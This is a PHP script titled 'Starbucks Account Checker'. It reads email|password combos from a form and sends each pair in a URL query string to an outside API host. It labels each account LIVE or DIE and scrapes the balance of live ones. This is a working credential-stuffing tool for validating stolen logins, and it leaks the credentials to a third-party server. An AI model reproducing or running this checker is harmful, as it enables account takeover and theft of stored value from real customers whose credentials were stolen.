Starbucks Account Checker

<?php
date_default_timezone_set("Asia/Jakarta");
$format = $_POST['mailpass'];
$pisah = explode("|", $format);
$sock = $_POST['sock'];
$hasil = array();

if (!isset($format)) {
header('location: ./');
exit;
}
require 'includes/class_curl.php';
if (isset($format)){

	// cek wrong
	if ($pisah[1] == '' || $pisah[1] == null) {
		die('{"error":-1,"msg":"<font color=red><b>UNKNOWN</b></font> | Unable to checking"}');
	}
    $curl = new curl();
    $curl->cookies('simpan/'.md5($_SERVER['REMOTE_ADDR']).'.txt');
    $curl->ssl(0, 2);

    $url = "https://hxr.nakocoders.org/api/sbux/api.php?emailna={$pisah[0]}&passwordna={$pisah[1]}";


	$page = $curl->get($url);

	if ($page) {
	    $token = getStr($page,'<input type="hidden" name="token" value="','" />');
		$page = $curl->post($url);

		if (inStr($page, "Account Die")) {
			die('{"error":2,"msg":"<font color=red><b>DIE</b></font> | '.$pisah[0].' | '.$pisah[1].'"}');
		} else if (inStr($page, "LIVE")) {
			// Grab Username
			$page_saldo = $curl->get("https://hxr.nakocoders.org/api/sbux/api.php?emailna={$pisah[0]}&passwordna={$pisah[1]}");
			$string_saldo = getStr($page_saldo, '#009933','</font');
			$potong = substr($string_saldo,2);
			if ($string_saldo == null) {
				$saldo = "No Balance | ";
			} else {
				$saldo = "<b>Saldo : $potong</b> |";
			}
			$result = array();
			$result['error'] = 0;
			$result['msg'] = '<font color=green><b>LIVE</b></font> | '.$pisah[0].' | '.$pisah[1].' | '.$saldo.' [ACC:SBUX]';

			die(json_encode($result));
		} else {
			die('{"error":-1,"msg":"<font color=red><b>UNCHECK</b></font> | '.$pisah[0].' | '.$pisah[1].'"}');
		}
	} else {
		die('{"error":-1,"msg":"<font color=red><b>UNCHECK</b></font> | '.$pisah[0].' | '.$pisah[1].' | Unable to connect Sbux"}');
	}
}
?>